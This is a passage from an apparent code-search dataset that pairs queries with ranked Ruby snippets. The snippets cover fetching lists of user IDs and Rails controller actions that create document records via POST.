queryParams = {\n 'type': [\"User\"]\n }\n endpoint = \"/restapi/v1.0/account/~/extension/\"\n resp = $platform.get(endpoint, queryParams)\n jsonObj = resp.body\n for record in jsonObj['records'] do\n # You can filter out any user you don't want to read analytics data!\n userIds.append(record['id'].to_s)\n end\n return userIds\nend", "title": "" }, { "docid": "05abf7763a786c460f066110a508d58c", "score": "0.59256834", "text": "def pull_current_member_ids\n client\n .list_members(list_id, count: 5000)\n .attrs[:users]\n .map do |user|\n user[:id]\n end\n end", "title": "" }, { "docid": "31a765a0da9c50f013ac20d8eb249c42", "score": "0.59139824", "text": "def list_blockers()\n @user = User.find(params[:user])\n @blockers = @user.blockers\n end", "title": "" }, { "docid": "8e34ffde8bacfc8ecdcd9aa3c8ec33a1", "score": "0.5913113", "text": "def user_blocked?\n device.user.blocked?\n end", "title": "" }, { "docid": "1710475e157813087f54987cf800c6c8", "score": "0.5909136", "text": "def all_user_ids\n (user_ids + groups.map(&:user_id)).flatten.uniq\n end", "title": "" }, { "docid": "d00911931628f0cd8f39da4742844f78", "score": "0.5908812", "text": "def username_ids\n username_hash.keys\n end", "title": "" }, { "docid": "faa630d3fb9b440ae93c497ebcf21a89", "score": "0.5907254", "text": "def get_events_ids\n\t\tparticipants= Participant.where(user_id: self.id)\n\t\tev_ids = []\n\t\tparticipants.each do |par|\n\t\t\tev_ids << par.event_id\n\t\tend\n\t\treturn ev_ids\n\tend", "title": "" }, { "docid": "199cfe8a0b0cbc6926cf2174ddcf8360", "score": "0.5906926", "text": "def allowed_users\n return @allowed_users\n end", "title": "" }, { "docid": "d5b88e72cd2d2b3be4a7679cc24a513f", "score": "0.59064364", "text": "def pending_users_list\n User.where(id: pending_invitations)\n end", "title": "" }, { "docid": "68d3097b1db58335947dee08403a073e", "score": "0.5905959", "text": "def user_device_ids(user)\n ids = []\n user.units.each do |u|\n u.devices.each do |d|\n ids << d.id\n end\n end\n return ids\n end", "title": "" }, { "docid": "90404cd8e3243a4c833d0c33e4b46d18", "score": "0.5902921", "text": "def user_ids=(value)\n @user_ids = value\n end", "title": "" }, { "docid": "be9ae8a079d122c04f9af33b29b22df1", "score": "0.5895806", "text": "def friend_ids\n directedusertouseredges.map(&:friend_user_id)\n end", "title": "" }, { "docid": "9a7aba456dbfc97e13cf0f67968b5bcc", "score": "0.5874157", "text": "def find_user_id\n\t\tuser_id_lst = @data_of_movies[0]\n\n\t\tuser_lst = []\n\t\tuser_id_lst.each do |user_id|\n\t\t\tif !user_lst.include?(user_id)\n\t\t\t\tuser_lst.push(user_id)\n\t\t\tend\n\t\tend\n\n\t\treturn user_lst\n\tend", "title": "" }, { "docid": "911c335056fd0277746a725fe6bbce3a", "score": "0.5849568", "text": "def cluster_livian_ids\n @cluster_livian_users ||= cluster_livian\n @cluster_livian_users.map(&:id)\n end", "title": "" }, { "docid": "636e234e85a491e710a02d4e311fd457", "score": "0.58493847", "text": "def users_to_notify\n [user]\n end", "title": "" }, { "docid": "835e25ce882ba942aec58b7da5d6ceea", "score": "0.58389384", "text": "def get_current_userlist\n\t\tusers = []\n\t\treadfrom( self.rabbitmqctl, 'list_users' ) do |io|\n\t\t\tio.each do |line|\n\t\t\t\tusers << line.chomp unless line.index('...')\n\t\t\tend\n\t\tend\n\t\treturn users\n\tend", "title": "" }, { "docid": "ff3d7705e72bab869e48eab830124dab", "score": "0.581959", "text": "def user_blocked?\n user.blocked?\n end", "title": "" }, { "docid": "edfb9b384f81b20c3a1f4eaba85a3f4b", "score": "0.5810808", "text": "def shout_user_ids\n\t\t[@user.id] + @user.followed_user_ids\n\tend", "title": "" }, { "docid": "646c2febc9cd0f040edf37f32ed2cad1", "score": "0.5809508", "text": "def user_ids\n return nil unless (temp_extended_user_ids = read_attribute(:user_ids))\n # logger.debug2 \"temp_extended_user_ids = #{temp_extended_user_ids}\"\n YAML::load encrypt_remove_pre_and_postfix(temp_extended_user_ids, 'user_ids', 10)\n end", "title": "" }, { "docid": "abb02b2e132636ee6bc2267888571301", "score": "0.58068365", "text": "def filter_known_uids all_uids\n new_uids = all_uids - @user.known_uids\n end", "title": "" }, { "docid": "cffc148544ccd7511b21d82d8b0c1f7c", "score": "0.58024204", "text": "def blocked\n @block_list = current_user.blocks\n end", "title": "" }, { "docid": "d63f58f06a62cbd85ff85010444b4545", "score": "0.578889", "text": "def get_all_validic_users\n response = validic.get \"users.json\", basic_user_data\n if response.success?\n body = JSON.parse(response.body)\n # gather up all the ids into a flat array\n body[\"users\"].collect { |u| u[\"_id\"] }\n else\n logger.error \"API Call to Validic to provision user ##{self.id} was unsucccessful. Validic returned the following response:\\n#{response.body}\"\n return false\n end\n end", "title": "" }, { "docid": "8f4d59d8d4fc7f91de10078982b34cb8", "score": "0.5788458", "text": "def uids\n @proc.uids\n end", "title": "" }, { "docid": "3ea28f4fe5eb79a5910259888104482f", "score": "0.57793444", "text": "def friend_ids\n self.user_links.collect{|f|f.linked_user_id}\n end", "title": "" }, { "docid": "04c2c4f2a52859bb8ed77315f4490428", "score": "0.57736844", "text": "def alluser_ids\n \"#{User.all.pluck(:id).join(',')},#{current_user.id}\"\n end", "title": "" }, { "docid": "b29de0f897d53c2baf6a7cf19f948e12", "score": "0.5772387", "text": "def member_ids\n user_ids << leader_id\n end", "title": "" }, { "docid": "2fcd083603013e9ff96b28594b0de5f7", "score": "0.576953", "text": "def new_user_ids_from_answers\n new_user_ids = self.all_meeting_answers.reject(&:reporter_id_is_contact).map(&:reporter_id)\n (new_user_ids - self.user_ids).compact.uniq\n end", "title": "" }, { "docid": "539ac4912a7718e1972ef389873d452d", "score": "0.57671124", "text": "def seed_user_ids\n\tuser_ids = []\n\t(1..100).each do |x|\n\t\tuser_ids << x.to_s\n\tend\n\treturn user_ids\nend", "title": "" }, { "docid": "0bfad14e794d3d168831bdc53eed8142", "score": "0.5761371", "text": "def iam_list_users\n iam_r.users.to_a\n end", "title": "" }, { "docid": "be41f58078ecda5fa143d274ca138fdd", "score": "0.57610095", "text": "def get_all_locked_ids\n raise \"#{__method__} not implemented in #{self.class.name}\"\n end", "title": "" }, { "docid": "2187a2151ac42626a33ec589bdcee76a", "score": "0.57528305", "text": "def friend_uids\n if new_record?\n @reserved_friend_uids\n else\n if instance_variable_defined?(:@persisted_friend_uids)\n @persisted_friend_uids\n else\n uids = nil\n uids = InMemory::TwitterUser.find_by(id)&.friend_uids if InMemory.enabled? && InMemory.cache_alive?(created_at)\n uids = Efs::TwitterUser.find_by(id)&.friend_uids if uids.nil? && Efs.enabled?\n uids = S3::Friendship.find_by(twitter_user_id: id)&.friend_uids if uids.nil?\n uids = [] if uids.nil?\n @persisted_friend_uids = uids\n end\n end\n end", "title": "" }, { "docid": "55a6d30cf8c88e02673b58a695dfacf4", "score": "0.57526004", "text": "def get_eligible_users()\r\n @eligible_users = Array.new\r\n user_cnt_e = 0\r\n user_cnt_d = 0\r\n @sorted_users.each_with_index do |this_user, this_index|\r\n if this_user[:DaysIdle] >= @options.days.to_i\r\n if this_user[:Disabled]\r\n # only count disabled accounts, they are not \"eligible\" for disablement\r\n user_cnt_d+=1\r\n else\r\n if @options.type == 'No-Access' || @options.type == 'Blank-Last-Login'\r\n if @options.type == 'No-Access' && this_user[:SubscriptionPermission] == 'No Access'\r\n user_cnt_e+=1\r\n @eligible_users.push(this_user)\r\n end\r\n \r\n if @options.type == 'Blank-Last-Login' && this_user[:LastLoginDate]==''\r\n user_cnt_e+=1\r\n @eligible_users.push(this_user)\r\n end\r\n else\r\n user_cnt_e+=1\r\n @eligible_users.push(this_user)\r\n end \r\n\r\n end\r\n end\r\n end #}\r\n\r\n if @eligible_users.length < 1\r\n @logger.info(\"No eligible users found; nothing to do; exiting\")\r\n exit\r\n else\r\n @logger.info(\"There are <#{@eligible_users.length}> accounts eligible to be disabled\")\r\n end\r\nend", "title": "" }, { "docid": "b99137092f42df2c724a58445f0ea13b", "score": "0.5748905", "text": "def sgids\n return nil unless using_login?\n\n user_name = Etc.getpwuid(uid).name\n all_seconderies.select { |g| g.mem.include?(user_name) }.map(&:gid)\n end", "title": "" }, { "docid": "5c19970a32cbe76c17349f1550fc36e2", "score": "0.5747561", "text": "def list_stored_user_ids\n db = init_credentials_store\n db.execute('select userid from credentials')\nend", "title": "" }, { "docid": "0db4ea6f8bffa63e27a1a770dc03d878", "score": "0.57317054", "text": "def get_channel_max_users\n # Suppress stderr as Quanta kit barfs after the first undefined user\n Integer(/Maximum User IDs\\s*:\\s*(\\d+)/.match(%x{ipmitool channel getaccess #{@channel} 2> /dev/null})[1])\n end", "title": "" }, { "docid": "e9daf922e60040c0c106626c42e9d64b", "score": "0.5728745", "text": "def user_group_ids(state)\n state[:userGroups].map { |g| g[:id] }\n end", "title": "" }, { "docid": "b3109c26a6541c1a023564a43b1a4503", "score": "0.57244676", "text": "def face_id_blocked\n return @face_id_blocked\n end", "title": "" }, { "docid": "b3109c26a6541c1a023564a43b1a4503", "score": "0.57244676", "text": "def face_id_blocked\n return @face_id_blocked\n end", "title": "" }, { "docid": "369dbcfc096c6f6aa668b614f2dc960e", "score": "0.5715171", "text": "def get_all_id_list\n res = []\n User.all.each do |user|\n res.append(user.id)\n end\n res\n end", "title": "" }, { "docid": "2a43e81e453a85274064e45cf875c669", "score": "0.5705001", "text": "def friend_user_ids\n @friend_user_ids ||= User.convert_twitter_ids(friend_twitter_ids)\n end", "title": "" }, { "docid": "0955abbb36623a0940abcd7f789ab1b9", "score": "0.5700669", "text": "def get_users_with_inventory()\n users = DB[\"SELECT DISTINCT owner_user_id FROM econ_user_inventory\"]\n\n array = []\n users.all.each do |user|\n array.push(user[:owner_user_id])\n end\n\n return array\n end", "title": "" }, { "docid": "cdc0a982d849da6e3e56f1b4dbaa81e6", "score": "0.56842464", "text": "def get_watching_users(video_id)\n watch_store = Redis.new MAIN_STORAGE_OPTIONS\n return [] unless watch_store.ping.eql?('PONG')\n all_keys = watch_store.keys\n return [] unless all_keys.present?\n watch_store.mapped_mget(*all_keys).select do |user_key, video_key|\n video_key.eql? video_id\n end.keys.map{|user_key| user_key[/.+(?=-#{video_id}$)/].to_i}\n end", "title": "" }, { "docid": "5ec0b30676b1f6c1cd4fb0b9ebe801d8", "score": "0.56780964", "text": "def participants\n accepted_applications = application_letters.where(status: ApplicationLetter.statuses[:accepted])\n accepted_applications.collect { |a| a.user }\n end", "title": "" } ]
be733b88882fdfeb1201aee8ebeef5a7
POST /documentos POST /documentos.xml
[ { "docid": "64251f4ec9198481b7f4bbd43ee92db0", "score": "0.0", "text": "def create\n @documento = Documento.new(params[:documento])\n \n respond_to do |format|\n if @documento.save\n format.html {\n responds_to_parent do\n actualizar_view\n end\n }\n format.js do\n responds_to_parent do\n actualizar_view\n end\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @documento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "be5e9f9b60b0669b81bda14ab8409026", "score": "0.7005426", "text": "def post_document\n check_document\n response = Defensor.post(Defensor.api_path(\"documents\"), :body => { :client => CLIENT }.merge(@options))\n status = response[ROOT_NODE][\"status\"]\n @signature = response[ROOT_NODE][\"signature\"] if status == \"success\"\n Defensor.respond response\n end", "title": "" }, { "docid": "bc24567c59feda1fdb073ccbd693f243", "score": "0.6552115", "text": "def create\n @documento = Documento.new(params[:documento])\n @usuario = usuario_corrente\n \n respond_to do |format|\n if @documento.save\n flash[:notice] = 'Documento foi criado com sucesso.'\n format.html { redirect_to(@documento) }\n format.xml { render :xml => @documento, :status => :created, :location => @documento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @documento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e4cd7e0d3cfd3f459435a0ce18af76dd", "score": "0.6532266", "text": "def documento_params\n params.require(:documento).permit(:docxml, :nit, :fecha_emision, :valor_total, :correo)\n end", "title": "" }, { "docid": "21d75e0d15deca537bef76e47e08d4e6", "score": "0.65053195", "text": "def create\n @documento = Documento.new(params[:documento])\n\n respond_to do |format|\n if @documento.save\n format.html { redirect_to(admin_edital_url(@edital), :notice => 'Arquivo criado com sucesso') }\n format.xml { render :xml => @documento, :status => :created, :location => @documento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @documento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f03c04379d5abe25519994d3440f28fa", "score": "0.6486803", "text": "def post_document(data)\n data = { :client => @client }.merge(data)\n respond self.class.post(api_path(\"documents\"), :body => data)\n end", "title": "" }, { "docid": "8f736a5b4a6c3e94d8ea77341e991ece", "score": "0.6467877", "text": "def create\n @documento = Documento.new(documento_params)\n\n respond_to do |format|\n if @documento.save\n format.html { redirect_to @documento, notice: 'Documento was successfully created.' }\n format.json { render :show, status: :created, location: @documento }\n else\n format.html { render :new }\n format.json { render json: @documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33c1c8584cc82d4ef6bd869f2838527a", "score": "0.6386887", "text": "def create\n @tipo_documento = TipoDocumento.new(params[:tipo_documento])\n\n respond_to do |format|\n if @tipo_documento.save\n flash[:notice] = 'TipoDocumento was successfully created.'\n format.html { redirect_to(@tipo_documento) }\n format.xml { render :xml => @tipo_documento, :status => :created, :location => @tipo_documento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tipo_documento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "133d85b59a5b3b0aecdfffcd23231df7", "score": "0.636614", "text": "def create\n @documento = Documento.new(params[:documento])\n\n respond_to do |format|\n if @documento.save\n format.html { redirect_to @documento, notice: 'Documento was successfully created.' }\n format.json { render json: @documento, status: :created, location: @documento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "246cd8f9ab6f8e31e27006409f0d414d", "score": "0.63573587", "text": "def create\n @documento = Documento.new(documento_params)\n\n respond_to do |format|\n if @documento.save\n format.html { redirect_to @documento, notice: 'Documento criado com sucesso!' }\n format.json { render :show, status: :created, location: @documento }\n else\n format.html { render :new }\n format.json { render json: @documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74b50affc9977456260f40212e9c8931", "score": "0.63311625", "text": "def create\n @estados_documento = EstadosDocumento.new(estados_documento_params)\n\n respond_to do |format|\n if @estados_documento.save\n format.html { redirect_to @estados_documento, notice: 'Estados documento was successfully created.' }\n format.json { render :show, status: :created, location: @estados_documento }\n else\n format.html { render :new }\n format.json { render json: @estados_documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ac28ed08572e8aa9f4025083f5157c6", "score": "0.6315053", "text": "def create\n @documentotraslado = Documentotraslado.new(params[:documentotraslado])\n @documentotraslado.usuario_id = usuario_actual.id\n @documentotraslado.institucion_id = usuario_actual.institucion_id\n @documentotraslado.estado_entrega_id = 1\n @documentotraslado.fecha_envio = Date.today\n \n @documento = @documentotraslado.documento\n \n\n respond_to do |format|\n if @documentotraslado.save\n format.html { redirect_to(@documento, :notice => 'Documento trasladado con exito.') }\n format.xml { render :xml => @documentotraslado, :status => :created, :location => @documentotraslado }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @documentotraslado.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3f3dea9f0592edf9ad73fce46b492b8", "score": "0.6307862", "text": "def create\n @objeto = Documento.new(documento_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Documento was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86076f338357fa740c4d6f426860ad4c", "score": "0.6288672", "text": "def create\n @arquivo_documento = Arquivo::Documento.new(params[:arquivo_documento])\n\n respond_to do |format|\n if @arquivo_documento.save\n format.html { redirect_to(@arquivo_documento, :notice => 'Documento cadastrado com sucesso.') }\n format.xml { render :xml => @arquivo_documento, :status => :created, :location => @arquivo_documento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @arquivo_documento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12f8b4c832804e780db1a4c8e974a3e0", "score": "0.6210031", "text": "def post_xml(e, doc, p = {})\n begin\n url = \"https://#{@username}:#{@password}@#{@host}#{@docroot}#{e}\"\n msg \"post to #{url}\", Logger::DEBUG\n params = { :content_type => \"application/xml\" }.merge! p\n params[:cookies] = $cookie if !$cookie.empty?\n resp = RestClient.post(url, doc.to_s, params )\n msg resp, Logger::DEBUG\n $cookie = resp.cookies unless resp.cookies.empty?\n msg \"got cookie #{$cookie}\", Logger::DEBUG unless resp.cookies.empty?\n # XML Document\n if (/<.+>/).match(resp)\n xmldoc = Nokogiri::XML(resp)\n else\n err_node = Nokogiri::XML::Node.new('err_node', xmldoc)\n err_node.content = resp\n xmldoc.root << err_node\n end\n rescue SocketError\n raise \"Host \" + @host + \" nicht erreichbar\"\n rescue Exception => e\n msg \"error parsing XML \" + e.to_s, Logger::DEBUG\n end\n if (xmldoc.nil? || !xmldoc.xpath(\"//err_node\").empty?)\n @posted_uuid = nil\n end\n if !xmldoc.nil?\n @posted_uuid = xmldoc.xpath(\"//uuid\")[0].text if !xmldoc.xpath(\"//uuid\").empty?\n end\n return xmldoc\n end", "title": "" }, { "docid": "bd7a93aff52b55c0e0f11cb41e991234", "score": "0.6194216", "text": "def create\n @tiposactosdocumento = Tiposactosdocumento.new(params[:tiposactosdocumento])\n\n respond_to do |format|\n if @tiposactosdocumento.save\n format.html { redirect_to(@tiposactosdocumento, :notice => 'Tiposactosdocumento was successfully created.') }\n format.xml { render :xml => @tiposactosdocumento, :status => :created, :location => @tiposactosdocumento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tiposactosdocumento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fa3b4883e684b82e15b6bff81bf79e48", "score": "0.61721325", "text": "def create\n @document = V1::Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = 'V1::Document was successfully created.'\n format.html { redirect_to(@document) }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fea887c6558234e6dfbad652df1b9b8e", "score": "0.6166607", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to(@document, :notice => 'Document was successfully created.') }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d271721133987384b1c49d759e940b5d", "score": "0.6160603", "text": "def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Documento criado com sucesso.' }\n format.json { render :show, status: :created, location: @document }\n format.pdf { params[:document][:file].each do |file|\n @document.file.create!(:document => file)\n end}\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "420d14b052f750317ce40eb90c409de4", "score": "0.61109465", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n format.html { redirect_to(@document) }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "420d14b052f750317ce40eb90c409de4", "score": "0.61109465", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n flash[:notice] = 'Document was successfully created.'\n format.html { redirect_to(@document) }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41164c0302f55d1a358212e45f8bafbc", "score": "0.6096663", "text": "def create\n @tipodocumento = Tipodocumento.new(tipodocumento_params)\n\n respond_to do |format|\n if @tipodocumento.save\n format.html { redirect_to @tipodocumento, notice: 'Tipodocumento was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tipodocumento }\n else\n format.html { render action: 'new' }\n format.json { render json: @tipodocumento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "502c7d5a092579d3afc00c6dcc64a1eb", "score": "0.60903823", "text": "def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = \"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\"\n\t\tresponse = @resource[\"/document.xqy?uri=\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend", "title": "" }, { "docid": "2f2a47509facc02c04b2949a53bb4c99", "score": "0.6087811", "text": "def create\n @documento_de_cobro = DocumentoDeCobro.new(documento_de_cobro_params)\n\n respond_to do |format|\n if @documento_de_cobro.save\n format.html { redirect_to @documento_de_cobro, notice: 'Documento de cobro was successfully created.' }\n format.json { render :show, status: :created, location: @documento_de_cobro }\n else\n format.html { render :new }\n format.json { render json: @documento_de_cobro.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1b55602cc6540547d7341ca69e1ba651", "score": "0.60797364", "text": "def post(document, action = 'update')\n return unless @master\n begin\n post = Net::HTTP::Post.new(\"/#{@context_path}/#{action}\")\n post.body = document\n post.content_type = 'text/xml'\n\n response = Net::HTTP.start(@master.host, @master.port) do |http|\n http.request(post)\n end\n raise PublicEarth::Search::SearchFailed, \"Solr failed to respond to your request: #{document}\\n\\n#{response.body}\" if response.body =~ /^<html>/\n\n return response.body\n rescue PublicEarth::Search::SearchFailed\n raise\n rescue SyntaxError\n raise PublicEarth::Search::InvalidRequest, \"Solr could not process your query: #{parameters}\"\n rescue Exception\n raise PublicEarth::Search::ConnectionFailed, \"Unable to contact the Solr server (#{@master}/#{@context_path}): #{$!})\"\n end\n end", "title": "" }, { "docid": "9f9af17fc73f30c734fa6bde6fe36492", "score": "0.6078831", "text": "def create\n @document = current_company.documents.new(params[:document])\n\n respond_to do |format|\n if @document.save\n \tformat.html { redirect_to(documents_path(), :notice => 'Document was successfully created.') }\n format.xml { render :xml => @document, :status => :created, :location => @document }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2451aa75cb3849f8916d4279e7a2fac9", "score": "0.6076891", "text": "def documento_params\n params.require(:documento).permit(:tipo_documento, :fecha_ingreso, :observacion, :estudiante_id, :adjunto)\n end", "title": "" }, { "docid": "7b1e48314da1c48851480072cbbc91b1", "score": "0.6067883", "text": "def create\n @pessoa_documento = PessoaDocumento.new(pessoa_documento_params)\n\n respond_to do |format|\n if @pessoa_documento.save\n format.html { redirect_to @pessoa_documento, notice: 'Pessoa documento was successfully created.' }\n format.json { render :show, status: :created, location: @pessoa_documento }\n else\n format.html { render :new }\n format.json { render json: @pessoa_documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b6eca0d73dbee31b443ee1b5390caae", "score": "0.60589564", "text": "def create\n @documents = []\n town = params[:documentation_document][:town_id].blank? ? current_user.town_model : Town.find(params[:documentation_document][:town_id])\n\n params['doc_file'].each do |f|\n doc = Documentation::Document.new(documentation_document_params)\n doc.doc_file = f\n doc.town = town\n doc.owner = current_user\n doc.save!\n\n @documents << doc\n end unless params['doc_file'].nil?\n\n respond_to do |format|\n format.js\n format.json { head :no_content, status: :created }\n end\n end", "title": "" }, { "docid": "56e891a29c77a88459e8e160680c7233", "score": "0.60529554", "text": "def documento_params\n params.require(:documento).permit(:descripcion, :correlativo, :presento, :observaciones)\n end", "title": "" }, { "docid": "daebed2096610fd04bd3bd0018e965e0", "score": "0.6036664", "text": "def create\n @campo_documento = CampoDocumento.new(params[:campo_documento])\n\n respond_to do |format|\n if @campo_documento.save\n flash[:notice] = 'CampoDocumento was successfully created.'\n format.html { redirect_to(@campo_documento.tipo_documento) }\n format.xml { render :xml => @campo_documento, :status => :created, :location => @campo_documento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @campo_documento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a5505f0c504c00fd50cf6793deb45a5", "score": "0.6031595", "text": "def create\n @documento_de_compra = DocumentoDeCompra.new(documento_de_compra_params)\n\n respond_to do |format|\n if @documento_de_compra.save\n format.html { redirect_to @documento_de_compra, notice: 'Documento de compra was successfully created.' }\n format.json { render :show, status: :created, location: @documento_de_compra }\n else\n format.html { render :new }\n format.json { render json: @documento_de_compra.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "126afdc39f3a817791d66775d938e23c", "score": "0.60139054", "text": "def create\n @document = current_company.documents.new(params[:document])\n if @document.save\n response_message = {:message => \"Document uploaded successfully.\", :document => @document}\n else\n response_message = {:message => \"Please Try Again.\"}\n end\n puts @document.errors.inspect\n respond_to do |format|\n format.xml{ render :xml => response_message }\n format.json{ render :json => response_message }\n end\n end", "title": "" }, { "docid": "e1e88603561ce009d06accb8e47a8551", "score": "0.5980116", "text": "def create\n @doc = Doc.new(params[:doc])\n\n respond_to do |format|\n if @doc.save\n format.html { redirect_to @doc, :notice => 'Документ создан' }\n format.json { render :json => @doc, :status => :created, :location => @doc }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63a373ef682531032587c166cce26be4", "score": "0.59749216", "text": "def create\n params[:documento][:user_id] = current_user.id\n @documento = Documento.new(documento_params)\n if (params[:documento][:tese] == \"Tese\")\n @documento.tese = true\n else\n @documento.tese = false\n end\n \n if (params[:documento][:mestrado] == \"Mestrado\")\n @documento.mestrado = true\n else\n @documento.mestrado = false\n end\n \n # Força o status do documento ser pendente por motivos de segurança\n @documento.accepted = false\n @documento.respondido = false\n \n respond_to do |format|\n if @documento.save\n format.html { redirect_to @documento, notice: 'Documento was successfully created.' }\n format.json { render :show, status: :created, location: @documento }\n else\n format.html { render :new }\n format.json { render json: @documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6204b4c9a7b27f7c1e1d0ca83e2866b7", "score": "0.5973112", "text": "def create\n @service_document = ServiceDocument.new(service_document_params)\n\n respond_to do |format|\n if @service_document.save\n format.html { redirect_to @service_document, notice: 'Service document was successfully created.' }\n format.json { render :show, status: :created, location: @service_document }\n else\n format.html { render :new }\n format.json { render json: @service_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7dab588f778b34d4466dd84e47b498f", "score": "0.59726036", "text": "def documento_params\n params.require(:documento).permit(:fecha, :seguimiento_id, :archivo, :descripcion)\n end", "title": "" }, { "docid": "b50fcdb08fc47f9be781c0e24c5b6111", "score": "0.59624386", "text": "def socioeduk_documento_params\n params.require(:socioeduk_documento).permit(:jovem_id, :cpf, :rg_numero, :rg_data_emissao, :rg_orgao_emissor, :rg_uf_emissao, :certidao_nascimento, :certidao_numero, :certidao_pagina, :certidao_livro, :certidao_data_emissao, :certidao_uf_emissao, :cpts_numero, :ctps_serie, :ctps_data_emissao, :ctps_uf_emissao, :titulo_numero, :titulo_serie, :titulo_secao, :pis_numero, :reservista_numero, :deleted_at)\n end", "title": "" }, { "docid": "65367bd930bc5d86d84c782e0e774b59", "score": "0.5962358", "text": "def create\n @document = Document.new(params[:document])\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: 'Файл добавлен.' }\n format.json { render json: @document, status: :created, location: @document }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d308ad9418f7754498d512fc12c44f0a", "score": "0.59577465", "text": "def create\n @documento = @equipo.documentos.create(documento_params)\n \n respond_to do |format|\n if @documento.save\n format.html { redirect_to @equipo, notice: 'Documento was successfully created.' }\n else\n format.html { render action: 'equipos/show' }\n end\n end\n end", "title": "" }, { "docid": "849e3744cc22e183a761842a4c6c11cc", "score": "0.5936097", "text": "def create\n @documento = Documento.new(params[:documento])\n respond_to do |format|\n if @documento.save\n flash[:notice] = 'El documento se ha creado con exito'\n if params[:interes]\n @interes = DocumentoIntere.create(:titulo => @documento.tituloMonografia, :idDocumentos => @documento.id)\n flash[:notice] += ' y se creo su enlace a documentos de interes.'\n expire_fragment Time.now.to_date.to_s\n end\n format.html { redirect_to(admin_documentos_url) }\n format.xml { render :xml => @documento, :status => :created, :location => @documento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @documento.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b851747409f612f815072d49a9de651", "score": "0.5919174", "text": "def create\n\n @document = Document.new(params[:document])\n @document.user = current_user\n \n # Upload the document to Crocodoc and get the UUID \n \n # Get the path for the temporary file and add the appropriate extension\n tmp_file_path = params[:attachment].path\n file_extension = params[:attachment].original_filename.scan(/\\.\\w+$/)[0]\n File.rename(tmp_file_path, tmp_file_path + file_extension)\n tmp_file_path += file_extension\n \n # Read the file\n attachment = File.new(tmp_file_path, \"r\")\n \n # Upload the file to Crocodoc\n uuid = upload(attachment)[:uuid]\n \n logger.debug \"UUID returned is #{uuid}\" \n \n @document.uuid = uuid \n\t\n\t# Tag List\n\t\n \ttaglist = JSON.parse(params[:tags])\n \tlogger.debug \"Taglist: #{taglist}\"\n \ttaglist.each do |tagname|\n 